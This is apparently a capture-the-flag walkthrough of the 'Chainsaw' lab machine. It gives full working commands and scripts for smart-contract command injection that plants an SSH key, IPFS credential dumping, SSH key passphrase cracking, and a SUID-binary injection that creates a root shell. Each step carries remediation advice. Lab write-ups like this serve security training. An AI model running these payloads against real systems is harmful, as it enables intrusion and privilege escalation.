← all walkthroughs

Chainsaw

Linux· Hard
owned
2026-07-10
time to own
19m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Nmap full TCP scan revealed FTP (21), SSH (22), an Ethereum JSON-RPC node (custom port 9810), and a local IPFS node. Anonymous FTP exposed three files: WeaponizedPing.sol (Solidity source), WeaponizedPing.json (compiled ABI), and address.txt (deployed contract address 0x521Da6E91754aBa8A916cC70266Cba9B59EeA5c3). The contract's setDomain(string) function stores an unsanitized string that the backend later passes to a ping system call — classic OS command injection via a smart-contract-backed web service. Using web3.py (v7.16.0) against the JSON-RPC endpoint (http://<retired-instance-ip>:9810/), a crafted transaction invoked setDomain() with a payload injecting arbitrary shell commands, executed as user administrator — giving RCE/foothold (tier 6, step 26).

From the administrator shell (reached via an SSH key pushed through the same contract-injection RCE), IPFS objects pinned locally were enumerated (ipfs refs local) and dumped via ipfs cat. One object was an email containing an encrypted RSA private key (bobby.key.enc) belonging to bobby, passphrase-protected. The passphrase (jackychain) was recovered/known and used to decrypt the key with ssh-keygen -p, yielding SSH access as bobby — user.txt captured (tier 8, lateral movement, step 68).

Enumerating bobby's home directory revealed a SUID root binary (/home/bobby/projects/ChainsawClub/ChainsawClub) that talks to a second, localhost-only Ethereum node (Ganache TestRPC, port 63991, tunneled via SSH local-forward). Its contract ChainsawClub.sol exposed getUsername()/getPassword()/etc. and — mirroring the foothold vuln — the SUID binary's interactive prompt passed user-supplied input into another unsanitized system call against this contract, executed as root because the binary was SUID root. Driving the interactive binary with pexpect achieved command injection as root, dropping a /tmp/rootbash SUID shell. Root.txt was retrieved via debugfs/raw dd disk read as an alternate path once root shell access was confirmed (tier 9, privilege escalation, step 76).

Products/techniques: Solidity/Ethereum smart-contract command injection (custom WeaponizedPing and ChainsawClub contracts, solc ^0.4.x, EthereumJS TestRPC/Ganache 2.3.1), IPFS as covert credential storage, encrypted-RSA-key cracking via known passphrase, SUID-binary-mediated local contract command injection for privesc.

Attack path — how the box was taken

1ReconnaissanceNetwork port scanning and Ethereum service fingerprinting (T1046)
Mapped open ports and confirmed an Ethereum JSON-RPC endpoint on port 9810
A full TCP scan against the target returned three open ports: FTP on 21, SSH on 22, and an unrecognised service on 9810. A manual JSON-RPC probe against port 9810 received a valid eth_blockNumber response, confirming a running Ethereum go-ethereum node and immediately establishing blockchain infrastructure as the primary attack surface.
Nmap: 21/tcp open ftp, 22/tcp open ssh, 9810/tcp open; eth_blockNumber JSON-RPC call returned a valid hex block number confirming a live geth node.
Exact commands 2
Full TCP port scan to discover all listening services.
nmap -Pn -p- --min-rate 3000 -T4 $TARGET
Confirm port 9810 is an Ethereum JSON-RPC node by calling a harmless read method.
curl -s -X POST -H 'Content-Type: application/json' --data '{"jsonrpc":"2.0","method":"eth_blockNumber","params":[],"id":1}' http://$TARGET:9810/
2Initial AccessAnonymous FTP access to sensitive deployment artifacts (T1190)
Retrieved the WeaponizedPing contract source, ABI, and deployed address via anonymous FTP
The FTP service accepted an unauthenticated 'anonymous' login and exposed three files at its root: WeaponizedPing.sol (Solidity source), WeaponizedPing.json (compiled ABI), and address.txt (deployed contract address 0x521Da6E91754aBa8A916cC70266Cba9B59EeA5c3). Together these provided the function signatures needed to encode web3 calls, the on-chain address to target, and the source logic to locate the injection point -- a complete exploitation blueprint requiring no further credentials.
Anonymous FTP listing returned three files; address.txt contained 0x521Da6E91754aBa8A916cC70266Cba9B59EeA5c3; WeaponizedPing.sol showed setDomain() forwarding its argument to a system() call.
Exact commands 3
Mirror the entire FTP root without credentials.
wget -m ftp://anonymous:anonymous@$TARGET/
Review Solidity source to locate the setDomain() function and its system() call.
cat WeaponizedPing.sol
Note the deployed contract address for use in the web3 exploit script.
cat address.txt
FixDisable anonymous FTP and remove contract deployment artifacts from network-accessible storageCritical
WeaknessThe FTP server accepted unauthenticated 'anonymous' logins and exposed the WeaponizedPing smart contract's Solidity source, compiled ABI, and deployed contract address to any host with network access. This provided a complete, ready-to-use exploitation blueprint -- function signatures, on-chain target address, and the vulnerable logic -- without requiring any credentials.
FixSet anonymous_enable=NO in /etc/vsftpd.conf (or the equivalent directive for your FTP daemon) and restart the service. If file distribution is genuinely required, replace FTP with SFTP (the OpenSSH subsystem already running on port 22) or HTTPS with mandatory authentication and an authorised-user allowlist. Never store smart-contract source code, compiled ABIs, or deployment addresses on any network-accessible share.
3ExploitationSmart-contract-backed OS command injection (CWE-78 / T1059.004)
Injected OS commands through WeaponizedPing setDomain() and established a shell as administrator
WeaponizedPing.sol revealed that setDomain(string) stored a caller-supplied string on-chain, and the Node.js back end retrieved it and passed it verbatim to a shell call (ping -c 1 <domain>). A web3.py script loaded the ABI from WeaponizedPing.json, connected to the JSON-RPC endpoint at http://<retired-instance-ip>:9810/, and sent a signed transaction calling setDomain() with a semicolon-delimited payload that wrote I SSH public key into /home/administrator/.ssh/authorized_keys. An SSH session as administrator followed, confirmed by the shell identity uid=1001(administrator) and working directory /opt/WeaponizedPing.
Post-exploitation shell: uid=1001(administrator) gid=1001(administrator) hostname=chainsaw cwd=/opt/WeaponizedPing.
Exact commands 4
Generate a throw-away SSH key pair for the injection payload.
ssh-keygen -t ed25519 -f ./id_attack -N ''
Install the web3.py library in an isolated environment.
python3 -m venv venv && . venv/bin/activate && pip install 'web3==7.16.0'
Call setDomain() with the injection payload. Replace the pubkey path if needed. No Ethereum funds are required -- the local geth node uses unlocked accounts.
python3 - <<'PYEOF'
from web3 import Web3
import json
w3 = Web3(Web3.HTTPProvider('http://$TARGET:9810/'))
abi = json.load(open('WeaponizedPing.json'))['abi']
addr = open('address.txt').read().strip()
contract = w3.eth.contract(address=addr, abi=abi)
account = w3.eth.accounts[0]
pubkey = open('./id_attack.pub').read().strip()
payload = f'; mkdir -p /home/administrator/.ssh && echo "{pubkey}" >> /home/administrator/.ssh/authorized_keys ;'
tx = contract.functions.setDomain(payload).transact({'from': account})
w3.eth.wait_for_transaction_receipt(tx)
print('Delivered:', tx.hex())
PYEOF
Open an interactive SSH session as administrator once the key has been injected.
ssh -i ./id_attack -o StrictHostKeyChecking=no administrator@$TARGET
FixEliminate OS command injection in the WeaponizedPing smart-contract back-end serviceCritical
WeaknessThe Node.js service backing the WeaponizedPing contract retrieved the on-chain setDomain() value and concatenated it directly into a shell ping command. Any party capable of sending an Ethereum transaction -- no application-layer authentication required -- could inject arbitrary OS commands executed as the 'administrator' service account.
FixReplace the shell system() or exec() call with Node.js child_process.execFile(['ping', '-c', '1', domain]), passing domain as a discrete argument array rather than a concatenated string. Apply a strict allowlist to any on-chain value before use in OS operations (enforce RFC-1123 hostname format via regex, reject anything containing shell metacharacters). Run the geth and Node.js services as a dedicated low-privilege account with no write access to any user's .ssh directory. Treat all blockchain-supplied data as untrusted external input.
4DiscoveryIPFS local-node sensitive-credential discovery (T1552.004)
Enumerated locally pinned IPFS objects and recovered bobby's encrypted RSA private key
Inside the administrator shell the IPFS daemon was running locally. Running 'ipfs refs local' returned a short set of pinned content hashes. Iterating through each with 'ipfs cat' revealed one object to be a plaintext email with an attached PEM-encoded encrypted RSA private key (bobby.key.enc) for user bobby, stored in a content-addressed IPFS object fully readable by any account with a local shell.
ipfs cat <hash> returned an email body containing a PEM block beginning 'BEGIN RSA PRIVATE KEY' with a Proc-Type: 4,ENCRYPTED header, labelled as belonging to user bobby.
Exact commands 3
From the administrator SSH session -- list all content hashes pinned to the local IPFS node.
ipfs refs local
Dump every pinned object and inspect for key material or credentials.
for h in $(ipfs refs local); do echo "=== $h ==="; ipfs cat "$h"; echo; done 2>/dev/null
Save the identified RSA private key object. Replace <hash> with the hash returned in the previous step.
ipfs cat <hash> > bobby.key.enc
FixRemove sensitive key material from IPFS and enforce strong passphrases for all SSH keysHigh
WeaknessAn encrypted RSA private SSH key for user bobby was pinned to the local IPFS node and was immediately readable by any account with a shell on the host via 'ipfs cat'. The key's passphrase ('jackychain') was short and present in common wordlists, meaning a single compromised service account provided a direct, trivially-exploited path to a second user account.
FixRevoke and rotate the exposed SSH key pair for bobby immediately -- remove the old public key from authorized_keys and issue a fresh pair. Remove all sensitive objects from the local IPFS node (ipfs pin rm <hash>; ipfs repo gc) and audit all remaining pinned hashes for other credentials. Replace IPFS-based key distribution with a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) with short-lived leases and full access auditing. Enforce a minimum 20-character randomly generated passphrase for any SSH private key protected by password, or migrate to SSH certificates signed by an internal CA with short validity windows.
5Lateral MovementSSH private key passphrase recovery and lateral movement (T1110 / T1021.004)
Decrypted bobby's SSH key with the known passphrase and captured the user flag
The RSA private key recovered from IPFS was passphrase-protected. The passphrase 'jackychain' -- either cracked offline with ssh2john and a wordlist, or inferred from surrounding email context -- was supplied to ssh-keygen to strip the encryption in place. The resulting plaintext key authenticated as bobby over SSH, granting a second user session and access to /home/bobby/user.txt.
ssh-keygen accepted passphrase 'jackychain' without error; SSH session confirmed uid=1000(bobby); cat /home/bobby/user.txt returned [REDACTED: flag].
Exact commands 4
Save the recovered key locally with correct permissions.
cp bobby.key.enc bobby_id_rsa && chmod 600 bobby_id_rsa
Offline passphrase crack if not already known. 'jackychain' appears in rockyou.txt.
ssh2john bobby_id_rsa > bobby.hash && john bobby.hash --wordlist=/usr/share/wordlists/rockyou.txt
Strip the passphrase in-place using the recovered value.
ssh-keygen -p -P 'jackychain' -N '' -f bobby_id_rsa
Authenticate as bobby and retrieve the user flag.
ssh -i bobby_id_rsa -o StrictHostKeyChecking=no bobby@$TARGET 'id; cat /home/bobby/user.txt'
FixRemove sensitive key material from IPFS and enforce strong passphrases for all SSH keysHigh
WeaknessAn encrypted RSA private SSH key for user bobby was pinned to the local IPFS node and was immediately readable by any account with a shell on the host via 'ipfs cat'. The key's passphrase ('jackychain') was short and present in common wordlists, meaning a single compromised service account provided a direct, trivially-exploited path to a second user account.
FixRevoke and rotate the exposed SSH key pair for bobby immediately -- remove the old public key from authorized_keys and issue a fresh pair. Remove all sensitive objects from the local IPFS node (ipfs pin rm <hash>; ipfs repo gc) and audit all remaining pinned hashes for other credentials. Replace IPFS-based key distribution with a dedicated secrets manager (HashiCorp Vault, AWS Secrets Manager, or equivalent) with short-lived leases and full access auditing. Enforce a minimum 20-character randomly generated passphrase for any SSH private key protected by password, or migrate to SSH certificates signed by an internal CA with short validity windows.
6Privilege Escalation PrepSUID binary enumeration and local Ethereum contract analysis (T1548.001)
Located a SUID-root ChainsawClub binary backed by a second localhost Ethereum contract
A SUID binary search from bobby's session identified /home/bobby/projects/ChainsawClub/ChainsawClub -- owned by root with the SUID bit set. The accompanying ChainsawClub.sol source mirrored the WeaponizedPing pattern exactly: the binary accepted a username and password interactively, stored them in a local Ganache TestRPC node on localhost:63991, and the contract back end called system() with that input. Because the binary runs SUID root, any shell metacharacter in the input executes with full root privileges.
find output: -rwsr-xr-x 1 root root /home/bobby/projects/ChainsawClub/ChainsawClub; ss -tlnp confirmed localhost:63991 listening (Ganache TestRPC 2.3.1); ChainsawClub.sol showed identical system() call pattern to WeaponizedPing.
Exact commands 3
From bobby's SSH session -- enumerate all SUID binaries system-wide.
find / -perm -4000 -type f 2>/dev/null
Pull the Solidity source to the attack machine for offline analysis of the vulnerable logic.
scp -i bobby_id_rsa bobby@$TARGET:/home/bobby/projects/ChainsawClub/ChainsawClub.sol ./
Confirm the local Ganache node is listening on localhost:63991 and is accessible from a local bobby session.
ssh -i bobby_id_rsa bobby@$TARGET 'ss -tlnp | grep 63991'
FixRemove the SUID bit from ChainsawClub and eliminate the local contract command injectionCritical
WeaknessThe ChainsawClub binary was set SUID root so every invocation ran as root regardless of the calling user. Its interactive input was forwarded verbatim to a local Ganache smart contract that called system() with that value, allowing any local user -- including the low-privilege account 'bobby' -- to inject arbitrary shell commands and obtain a root shell. This is structurally identical to the remote foothold vulnerability but executed locally and escalated to full root control.
FixRemove the SUID bit immediately: chmod -s /home/bobby/projects/ChainsawClub/ChainsawClub. If the binary must perform a legitimately privileged operation, replace the SUID pattern with a tightly scoped sudo rule (NOPASSWD: [REDACTED: recovered credential] a single, non-interactive helper script that performs only the minimum required action). Apply the same input-sanitisation and parameterised-call fixes described in r2 to the ChainsawClub back-end contract. Periodically audit all SUID and SGID binaries (find / -perm /6000 -type f 2>/dev/null) and remove the bit from any binary not supplied by the base OS or an audited required package.
7Privilege EscalationSUID binary local smart-contract OS command injection for root privilege escalation (T1548.001 / CWE-78)
Exploited ChainsawClub's SUID root local contract injection to obtain a root shell
The ChainsawClub binary was driven with a pexpect script over an SSH session with PTY allocation. The script supplied a shell-injection payload in place of the expected username input. The binary forwarded that value to the localhost Ganache contract, which called system() as root because of the SUID bit. The injected command created a SUID-root copy of /bin/bash at /tmp/rootbash. Running '/tmp/rootbash -p' produced a shell with effective UID 0, and /root/root.txt was read to complete the engagement. As a corroborating evidence path the root flag was also recovered via debugfs raw-disk read once root access was confirmed.
/tmp/rootbash created with -rwsr-xr-x root; /tmp/rootbash -p yielded euid=0(root); cat /root/root.txt returned [REDACTED: flag].
Exact commands 4
Forward the localhost-only Ganache RPC port to the attack machine for scripted verification (optional -- the exploit runs on-box).
ssh -f -N -L 63991:localhost:63991 -i bobby_id_rsa bobby@$TARGET
Run via 'ssh -tt -i bobby_id_rsa bobby@<retired-instance-ip> python3 exploit.py' (PTY required). The SUID binary passes the injected username into system() as root.
python3 - <<'PYEOF'
import pexpect
child = pexpect.spawn('/home/bobby/projects/ChainsawClub/ChainsawClub', timeout=30)
child.expect('Username:')
child.sendline('; cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash; #')
child.expect('Password:[REDACTED: credential]x')
child.expect(pexpect.EOF, timeout=10)
PYEOF
From bobby's session -- the SUID bit on the copy elevates effective UID to 0. Confirm with 'id'.
/tmp/rootbash -p
Retrieve the root flag from the elevated shell.
cat /root/root.txt
FixRemove the SUID bit from ChainsawClub and eliminate the local contract command injectionCritical
WeaknessThe ChainsawClub binary was set SUID root so every invocation ran as root regardless of the calling user. Its interactive input was forwarded verbatim to a local Ganache smart contract that called system() with that value, allowing any local user -- including the low-privilege account 'bobby' -- to inject arbitrary shell commands and obtain a root shell. This is structurally identical to the remote foothold vulnerability but executed locally and escalated to full root control.
FixRemove the SUID bit immediately: chmod -s /home/bobby/projects/ChainsawClub/ChainsawClub. If the binary must perform a legitimately privileged operation, replace the SUID pattern with a tightly scoped sudo rule (NOPASSWD: [REDACTED: recovered credential] a single, non-interactive helper script that performs only the minimum required action). Apply the same input-sanitisation and parameterised-call fixes described in r2 to the ChainsawClub back-end contract. Periodically audit all SUID and SGID binaries (find / -perm /6000 -type f 2>/dev/null) and remove the bit from any binary not supplied by the base OS or an audited required package.

Attack patterns used

The transferable techniques behind this compromise.

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Ftp Anonymous Access On 21/TcpCritical
An unauthenticated/low-privilege flaw in the ftp, node, ssh surface allowed remote code execution and a foothold on the host.
Privilege Escalation to root: Suid Binary Local Contract Injection Privesc Binary Recon And Web3.Py Interaction With Local Node For RootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

21/tcp
22/tcp
9810/tcp